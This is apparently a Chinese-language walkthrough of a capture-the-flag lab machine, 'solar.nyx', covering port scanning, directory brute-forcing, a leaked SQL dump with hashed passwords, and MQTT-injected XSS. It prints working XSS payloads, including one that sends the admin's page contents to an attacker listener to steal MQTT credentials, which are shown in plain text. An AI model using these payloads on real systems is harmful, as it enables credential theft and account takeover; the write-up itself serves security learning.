信息收集 服务探测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 ❯ sudo arp-scan -l [sudo ] password for Pepster: Interface: eth0, type : EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.196 08:00:27:30:1f:a7 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f3:05:73 VMware, Inc. 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.055 seconds (124.57 hosts/sec). 4 responded ❯ export ip=192.168.60.196 ❯ rustscan -a $ip -- -A -sV .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-' `-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Making sure ' closed' isn' t just a state of mind.[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit . May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with ' --ulimit 5000'. Open 192.168.60.196:22 Open 192.168.60.196:80 Open 192.168.60.196:443 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sV" on ip 192.168.60.196 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-20 14:22 CST NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 0.00s elapsed Initiating ARP Ping Scan at 14:22 Scanning 192.168.60.196 [1 port] Completed ARP Ping Scan at 14:22, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 14:22 Scanning solar.nyx (192.168.60.196) [3 ports] Discovered open port 443/tcp on 192.168.60.196 Discovered open port 22/tcp on 192.168.60.196 Discovered open port 80/tcp on 192.168.60.196 Completed SYN Stealth Scan at 14:22, 0.04s elapsed (3 total ports) Initiating Service scan at 14:22 Scanning 3 services on solar.nyx (192.168.60.196) Completed Service scan at 14:22, 12.03s elapsed (3 services on 1 host) Initiating OS detection (try #1) against solar.nyx (192.168.60.196) NSE: Script scanning 192.168.60.196. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 1.03s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 1.14s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 0.00s elapsed Nmap scan report for solar.nyx (192.168.60.196) Host is up, received arp-response (0.00075s latency). Scanned at 2025-02-20 14:22:25 CST for 15s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0) | ssh-hostkey: | 256 00:31:c1:0a:8b:0f:c9:45:e7:2f:7f:06:0c:4f:cb:42 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBBCfKYiX0XS6Bbc24efX4FcBNZhVZRq49IZpDO1CBBFeHsYyaa2KB/ato4Retzm6mePIKD2q+AD9PP4VC79I7s= | 256 6b:04:c5:5d:39:ed:b3:41:d0:23:2b:77:d1:53:d0:48 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE1RWzu6r/g8tuNndoouxbD5FvlSQOnWDDn6ufvEo06d 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Site doesn' t have a title (text/html).| http-methods: |_ Supported Methods: GET POST OPTIONS HEAD 443/tcp open ssl/http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian)) |_http-title: Solar Energy Control Login |_http-favicon: Unknown favicon MD5: 20294B7D37E757C2C664F3B09517A470 |_http-server-header: Apache/2.4.62 (Debian) | ssl-cert: Subject: commonName=www.solar.nyx/organizationName=Solar/stateOrProvinceName=Madrid/countryName=ES/localityName=Madrid/organizationalUnitName=IT | Subject Alternative Name: DNS:www.solar.nyx, DNS:www.sunfriends.nyx | Issuer: commonName=www.solar.nyx/organizationName=Solar/stateOrProvinceName=Madrid/countryName=ES/localityName=Madrid/organizationalUnitName=IT | Public Key type : rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-10-10T00:03:30 | Not valid after: 2034-10-08T00:03:30 | MD5: 0a03:37bc:7f92:a9e5:b79c:98d9:f9e6:0835 | SHA-1: e414:cf4d:d8d3:43a3:748e:c90c:0ce9:f713:e88d:138b | -----BEGIN CERTIFICATE----- | MIIDpTCCAo2gAwIBAgIUR6TZBu1Gr7CmOLmGXDd5PJGPpy8wDQYJKoZIhvcNAQEL | BQAwZDELMAkGA1UEBhMCRVMxDzANBgNVBAgMBk1hZHJpZDEPMA0GA1UEBwwGTWFk | cmlkMQ4wDAYDVQQKDAVTb2xhcjELMAkGA1UECwwCSVQxFjAUBgNVBAMMDXd3dy5z | b2xhci5ueXgwHhcNMjQxMDEwMDAwMzMwWhcNMzQxMDA4MDAwMzMwWjBkMQswCQYD | VQQGEwJFUzEPMA0GA1UECAwGTWFkcmlkMQ8wDQYDVQQHDAZNYWRyaWQxDjAMBgNV | BAoMBVNvbGFyMQswCQYDVQQLDAJJVDEWMBQGA1UEAwwNd3d3LnNvbGFyLm55eDCC | ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN/zD8zMKPmhYZSo3SWuBR3n | 6jF5HhHzz12Wm/v5jbvO3N6yktQppec4u/SDyaJ0YD46D9eQRWym/Ug3Bg/D5p63 | 0qBAG/WKyPCiSYfgRT+O6eGJwMprjP5fs5Np0mWgSmwy43E2RwFtqGNoCv45cRVM | NCzc6buuksOVl+IBVO6ldP51lHW781PxTx7+XCgLRrWBuoTTwWoH0K6KCEEdc6Th | FeFHI6FkFpgn9XG5Tj3dKLKctQasG25n06BR3vvvSoE1WWQgo4lBSQKEq3bD8Fpg | MpiY7Lk8KoWDIfAmk9EokEb9SrGrVgcEbRbccdjalZ6DIBx31PncWUJoSt4HQgUC | AwEAAaNPME0wLAYDVR0RBCUwI4INd3d3LnNvbGFyLm55eIISd3d3LnN1bmZyaWVu | ZHMubnl4MB0GA1UdDgQWBBSyqUP/KMyh7e+m53EzgWrJB0TgcDANBgkqhkiG9w0B | AQsFAAOCAQEAlG0044X12UOSc5AJR9vTUL6wgcdckF8dFfw3DM+iIxNuPldtSKj0 | BWqW9LipaNskxG8ltHhomm/k9PeB3O+EuXGELkpm1KPMFtHx8QHlMsyI4tSMRYp/ | XuSrP5lbAOjJDrZd57Ib4rE9HShtMpA3qM+5yLTJJSTaFtqqIlAMfVv5w4Iuau9c | FB3qTgakZ1z2Aoa+jURRH7oob7t7iGUd6lrvg78Yooxx+SP+/NoY0/cbfLQK1Vko | g12FLYSi0ut9XReyxLZZXG9c3RBTBeUvF2NN3D+KiBXQ7m0Xm1TVhPrVmTlzmqKA | sGaU3ev4Gs9w6tNcbr4uK7w1uz71yY3CIw== |_-----END CERTIFICATE----- | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | tls-alpn: |_ http/1.1 |_ssl-date : TLS randomness does not represent time MAC Address: 08:00:27:30:1F:A7 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type : general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=2/20%OT=22%CT=%CU=43999%PV=Y%DS=1%DC=D%G=N%M=080027 OS:%TM=67B6CA30%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=106%TI=Z%CI=Z%II OS:=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7 OS:%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88% OS:W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W= OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF OS:I=N%T=40%CD=S) Uptime guess: 38.746 days (since Sun Jan 12 20:28:03 2025) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.75 ms solar.nyx (192.168.60.196) NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 14:22 Completed NSE at 14:22, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done : 1 IP address (1 host up) scanned in 16.04 seconds Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
浏览器访问一下80端口,这个还开放了443端口
发现配置的域名,编辑一下hosts添加域名
其中nmap中还识别到另一个域名www.sunfriends.nyx
1 2 ❯ sudo vim /etc/hosts 192.168.60.196 www.solar.nyx www.sunfriends.nyx
默认访问会跳转https
我尝试弱密码登录,无果
不过他会输出错误下信息
index.php?msg=No+user+found+with+that+username.)
通过给msg传参可以控制,但没啥用
我尝试模糊测试一下有没有子域名,无果
访问另一个域名,发现是个维护中的论坛
讨论中出现的人名可能有点用,先保存下吧
1 2 3 4 5 6 7 8 9 10 11 ❯ echo -e "Robert24\ncalvin\nJulianAdm\nGreenThumb\nAnnaSolar\nSolarGuy\nEcoFriendly\nJohn20" >names.txt ❯ cat names.txt Robert24 calvin JulianAdm GreenThumb AnnaSolar SolarGuy EcoFriendly John20
简单扫一下目录吧
不过扫https的时候会显示tls: failed to verify certificate: x509: certificate signed by unknown authority
加个参数-k
跳过TLS证书验证即可
在solar域名中,没有什么信息
无论哪个目录都会跳转index需要登录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ❯ gobuster dir -u https://www.solar.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404 -k =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://www.solar.nyx [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,zip,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 745] /login.php (Status: 200) [Size: 0] /logout.php (Status: 302) [Size: 0] [--> index.php?msg=Log-out.] /dashboard.php (Status: 302) [Size: 0] [--> index.php] /records (Status: 301) [Size: 318] [--> https://www.solar.nyx/records/] /session.php (Status: 200) [Size: 0] Progress: 1038215 / 1038220 (100.00%) =============================================================== Finished ===============================================================
在论坛的域名中,也扫不到什么东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ❯ gobuster dir -u https://www.sunfriends.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt -b 403,404 -k =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://www.sunfriends.nyx [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,zip,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 11089] /server.php (Status: 200) [Size: 1523] /commands (Status: 301) [Size: 329] [--> https://www.sunfriends.nyx/commands/] Progress: 1038215 / 1038220 (100.00%) =============================================================== Finished ===============================================================
只有在server.php
中有个登录表单
备份文件泄露 我估计是藏了个文件之类的,加-x参数
多添加几个文件后缀
没想到是藏了个sql备份数据的压缩包,这后缀其实不常用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ❯ gobuster dir -u https://www.sunfriends.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,zip,txt,sql,jpg,db,tar,sql.gz,gzip,gz2 -b 403,404 -k =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://www.sunfriends.nyx [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.6 [+] Extensions: txt,db,gzip,php,html,zip,sql,jpg,tar,sql.gz,gz2 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 11089] /server.php (Status: 200) [Size: 1523] /database.sql.gz (Status: 200) [Size: 1010] Progress: 27952 / 2491728 (1.12%)^C [!] Keyboard interrupt detected, terminating. Progress: 27976 / 2491728 (1.12%) =============================================================== Finished ===============================================================
wget一下,不验证ssl证书
解压压缩包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 ❯ wget https://www.sunfriends.nyx/database.sql.gz --no-check-certificate --2025-02-20 15:00:55-- https://www.sunfriends.nyx/database.sql.gz Resolving www.sunfriends.nyx (www.sunfriends.nyx)... 192.168.60.196 Connecting to www.sunfriends.nyx (www.sunfriends.nyx)|192.168.60.196|:443... connected. WARNING: The certificate of ‘www.sunfriends.nyx’ is not trusted. WARNING: The certificate of ‘www.sunfriends.nyx’ doesn't have a known issuer. HTTP request sent, awaiting response... 200 OK Length: 1010 [application/x-gzip] Saving to: ‘database.sql.gz’ database.sql.gz 100%[=======================================================================>] 1010 --.-KB/s in 0s 2025-02-20 15:00:55 (52.4 MB/s) - ‘database.sql.gz’ saved [1010/1010] ❯ x database.sql.gz extract: extracting to database.sql ❯ strings database.sql -- MariaDB dump 10.19 Distrib 10.11.6-MariaDB, for debian-linux-gnu (x86_64) -- Host: localhost Database: solar_energy_db -- ------------------------------------------------------ -- Server version 10.11.6-MariaDB-0+deb12u1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE=' +00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE=' NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- Table structure for table `users` DROP TABLE IF EXISTS `users`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `users` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `password` varchar(64) NOT NULL, `role` varchar(20) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- Dumping data for table `users` LOCK TABLES `users` WRITE; /*!40000 ALTER TABLE `users` DISABLE KEYS */; INSERT INTO `users` VALUES (1,' Robert24',' 66dc8ac996672de0cdeb294808d4cca21ba0bc856c365e90562565853febed0c',' user'), (2,' calvin',' e8e9689deac5bac977b64e85c1105bd1419608f1223bdafb8e5fbdf6cf939879',' user'), (3,' JulianAdm',' bbca1b30190fddeead4e1a845ee063bec94499601aa5ee795da8917767bdcdde',' admin'), (4,' John20',' 38858f3066c9a6f3d8c6e54fbfcff204d5383f0721c32bc8ae46cf46a93e3694',' user'); /*!40000 ALTER TABLE `users` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2024-08-24 21:17:08 ❯ echo -n "bbca1b30190fddeead4e1a845ee063bec94499601aa5ee795da8917767bdcdde"|wc -c 64
发现密码hash是64位的
猜测可能是sha256
Hash解密 每个hash分别在线解密一下,只拿到calvin
的密码emily
尝试利用此凭证登录一下
哎,我不知道为什么的靶机会莫名其妙的无法获取IP
只能重启一下
登录到solar
发现会显示太阳能功耗之类的图表
MQTT协议 不过我们可以通过查看源代码
MQTT 客户端连接到 WebSocket 代理连接wss://www.solar.nyx/wss/
下面还有连接凭证
拿一下源代码,分析一下程序逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import mqtt from '/mqtt.js' # 导入 mqtt 模块# 定义用户名和用户角色 let userName = "calvin" ;let userRole = "user" ;# 连接到 MQTT 服务器 var mqttclient = mqtt.connect ('wss://www.solar.nyx/wss/' , { clientId : userName + '-dashboard-' + new Date ().valueOf (), # 客户端 ID username : 'user' , # 用户名 password : '1tEa15klQpTx9Oub6ENG' , # 密码 protocolId : 'MQTT' # 协议 ID }); # 当接收到消息时,调用 getMessagesStatus 函数 mqttclient.on ("message" , getMessagesStatus); # 处理接收到的消息 function getMessagesStatus (msTopic, msBody ) { let data = JSON .parse (msBody.toString ()); # 解析消息体 setParams (data.solarEnergy , data.consumedEnergy ); # 更新参数 } # 订阅主题为 "data" 的消息 mqttclient.subscribe ("data" , function (err ) { if (err) { console .log ('ERROR MQTT' , err.toString ()); # 打印错误信息 mqttclient.end (); # 断开连接 } }); # 初始化能量数据 let solar = 0 , consumed = 0 , grid = 0 ;# 使用 Chart .js 初始化柱状图 const ctx = document .getElementById ('energyChart' ).getContext ('2d' );let energyChart = new Chart (ctx, { type : 'bar' , data : { labels : ['Solar' , 'Consumed' , 'Grid' ], # 标签 datasets : [{ label : 'Energy (kWh)' , # 数据集标签 data : [solar, consumed, grid], # 数据 backgroundColor : ['#6fcf97' , '#eb5757' , '#56ccf2' ], # 背景颜色 }] }, options : { scales : { y : { beginAtZero : true , # Y 轴从零开始 ticks : { callback : function (value ) { return value + " kWh" ; } # Y 轴刻度标签 } } }, plugins : { legend : { display : false # 不显示图例 }, tooltip : { callbacks : { label : function (context ) { return context.dataset .label + ': ' + context.raw + ' kWh' ; # 工具提示标签 } } } } } }); # 更新图表和标签的函数 function setParams (solarEnergy, consumedEnergy ) { let gridEnergy = consumedEnergy - solarEnergy; # 计算电网能量 solar = solarEnergy; consumed = consumedEnergy; grid = gridEnergy; # 更新柱状图数据 energyChart.data .datasets [0 ].data = [solar, consumed, grid]; energyChart.update (); # 更新页面上的标签 document .getElementById ('solarEnergyLabel' ).innerHTML = `<span class="energy-value solar">${solarEnergy} kWh</span>` ; document .getElementById ('consumedEnergyLabel' ).innerHTML = `<span class="energy-value consumed">${consumedEnergy} kWh</span>` ; let gridLabel = document .getElementById ('gridEnergyLabel' ); gridLabel.innerHTML = `<span class="energy-value ${gridEnergy < 0 ? 'grid-negative' : 'grid-positive' } ">${gridEnergy} kWh</span>` ; document .getElementById ('userInfo' ).innerHTML = `<span>${userName} </span><br>${userRole} ` ; } # 初始化参数 setParams (0 , 0 );
该程序是个接收端,通过 WebSocket Secure (WSS) 协议连接到 wss://www.solar.nyx/wss/
服务器
订阅了主题为 data
的消息,然后更新图表
那我们利用MQTTX
客户端,尝试接收mqtt
消息
MQTTX Download
连接成功后,我们添加data
订阅
可以发现接收到的数据和Dashboard
中的数据是相同的
可以尝试发送异常的json
数据
会被接受并更新在页面中
XSS漏洞 那我们查看更新页面数据的相关代码
发现是用 JavaScript
编写的
既然我们可以控制solarEnergy
consumedEnergy
数值
并且代码中使用innerHTML
直接插入文本中,将字符串解析为 HTML
猜测可能含有xss
漏洞
我利用基础的弹出文本框<script>alert('XSS')</script>
,无效
多尝试几个 有个xss的绕过小技巧可以成功执行
具体payload
1 2 3 4 5 6 ❯ echo "YWxlcnQoJ1hTUycpOw==" |base64 -d alert('XSS');% { "solarEnergy" : "<img src=x onerror=eval(atob(\/YWxlcnQoJ1hTUycpOw==\/.source)); />" , "consumedEnergy" : 999999 }
**<img src=x
**:这是一个无效的图片 URL,确保 onerror
事件会被触发。
**onerror=
**:当图片加载失败时,会触发 onerror
事件。
eval(atob(\/[base64格式的js代码]\/.source));
:这是 onerror
事件的处理代码。
**atob
**:这是一个 JavaScript 函数,用于解码 Base64 编码的字符串。反之,btoa
就是Base64解码
**eval
**:这是一个 JavaScript 函数,用于执行字符串形式的 JavaScript 代码。
**\/[base64encodeJavascriptCode]\/.source
**:这是一个正则表达式的字符串表示形式,[base64encodeJavascriptCode]
是占位符,表示实际的 Base64 编码的 JavaScript 代码。
源码读取 我们怀疑管理员JulianAdm
会正在查看Dashboard
而我们构造的data
信息大概率管理员也可以收到
可以由此捕获当前网页的源代码
具体payload
1 2 3 4 { "solarEnergy" : "<img src=x onerror=\"(async () => {location.href = 'http://192.168.60.100:8000?url=' + encodeURIComponent(window.location.href) + '&code=' + btoa(document.body.outerHTML);})();\"; />" , "consumedEnergy" : 999999 }
location.href = 'http://192.168.60.100:8000?...'
:这一行将当前网页重定向到一个不同的URL (http://192.168.60.100
)。该URL包含查询参数。
async
是 JavaScript 中用于定义异步函数的一种语法。异步函数允许你编写可以在等待操作(如网络请求或定时器)完成时不阻塞执行的代码。即使不加函数也可以执行
我们在本地开个http服务
可以拿到一个是本地请求的另一个则是管理员访问的
1 2 3 4 5 6 7 8 ❯ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.60.100 - - [20/Feb/2025 17:24:12] "GET /?url=https%3A%2F%2Fwww.solar.nyx%2Fdashboard.php&code=省略………………… HTTP/1.1" 200 - 192.168.60.100 - - [20/Feb/2025 17:24:12] code 404, message File not found 192.168.60.100 - - [20/Feb/2025 17:24:12] "GET /favicon.ico HTTP/1.1" 404 - 192.168.60.196 - - [20/Feb/2025 17:29:54] "GET /?url=https%3A%2F%2Fwww.solar.nyx%2Fdashboard.php&code=省略base64编码…HTTP/1.1" 200 - 192.168.60.196 - - [20/Feb/2025 17:29:55] code 404, message File not found 192.168.60.196 - - [20/Feb/2025 17:29:55] "GET /favicon.ico HTTP/1.1" 404 -
我们将base64解码一下
我们得到管理员登入后dashboard
的源码
其中就包含管理员的MQTT
连接凭证
admin:tJH8HvwVwC57BR6CEyg5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 <body > <div class ="dashboard" > <object class ="solar-icon" data ="sun.svg" type ="image/svg+xml" style ="width:75px;" > </object > <h1 > Solar Energy Dashboard</h1 > <div class ="user-info" id ="userInfo" > <span > JulianAdm</span > <br > admin</div > <canvas id ="energyChart" class ="energy-chart" width ="400" height ="200" style ="display: block; box-sizing: border-box; height: 200px; width: 400px;" > </canvas > <div class ="energy-label" > <span class ="solar-title" > Solar:</span > <span id ="solarEnergyLabel" class ="energy-value solar" > <span class ="energy-value solar" > <img src ="x" onerror ="(() => {location.href = 'http://192.168.60.100:8000?url=' + encodeURIComponent(window.location.href) + '& code=' + btoa(document.body.outerHTML);})();" ;="" > kWh</span > </span > </div > <div class ="energy-label" > <span class ="consumed-title" > Consumed:</span > <span id ="consumedEnergyLabel" class ="energy-value consumed" > <span class ="energy-value consumed" > 999999 kWh</span > </span > </div > <div class ="energy-label" > <span class ="grid-title" > Grid:</span > <span id ="gridEnergyLabel" class ="energy-value grid-positive" > <span class ="energy-value grid-positive" > NaN kWh</span > </span > </div > <a href ="/logout.php" class ="logout-link" id ="logoutLink" > Logout</a > <a href ="/records/" class ="logout-link" > Records</a > <a href ="#" class ="logout-link" id ="send-record-id" > Send record</a > </div > <script src ="/chart.js" > </script > <script type ="module" > import mqtt from '/mqtt.js' let userName = "JulianAdm" ; let userRole = "admin" ; var mqttclient = mqtt.connect ('wss://www.solar.nyx/wss/' , { clientId : userName + '-dashboard-' + new Date ().valueOf (), username : 'admin' , password : 'tJH8HvwVwC57BR6CEyg5' , protocolId : 'MQTT' }); mqttclient.on ("message" , getMessagesStatus); function getMessagesStatus (msTopic, msBody ) { let data = JSON .parse (msBody.toString ()); setParams (data.solarEnergy , data.consumedEnergy ); } mqttclient.subscribe ("data" , function (err ) { if (err) { console .log ('ERROR MQTT' , err.toString ()); mqttclient.end (); } }); let solar = 0 , consumed = 0 , grid = 0 ; const ctx = document .getElementById ('energyChart' ).getContext ('2d' ); let energyChart = new Chart (ctx, { type : 'bar' , data : { labels : ['Solar' , 'Consumed' , 'Grid' ], datasets : [{ label : 'Energy (kWh)' , data : [solar, consumed, grid], backgroundColor : ['#6fcf97' , '#eb5757' , '#56ccf2' ], }] }, options : { scales : { y : { beginAtZero : true , ticks : { callback : function (value ) { return value + " kWh" ; } } } }, plugins : { legend : { display : false }, tooltip : { callbacks : { label : function (context ) { return context.dataset .label + ': ' + context.raw + ' kWh' ; } } } } } }); function setParams (solarEnergy, consumedEnergy ) { let gridEnergy = consumedEnergy - solarEnergy; solar = solarEnergy; consumed = consumedEnergy; grid = gridEnergy; energyChart.data .datasets [0 ].data = [solar, consumed, grid]; energyChart.update (); document .getElementById ('solarEnergyLabel' ).innerHTML = `<span class="energy-value solar">${solarEnergy} kWh</span>` ; document .getElementById ('consumedEnergyLabel' ).innerHTML = `<span class="energy-value consumed">${consumedEnergy} kWh</span>` ; let gridLabel = document .getElementById ('gridEnergyLabel' ); gridLabel.innerHTML = `<span class="energy-value ${gridEnergy 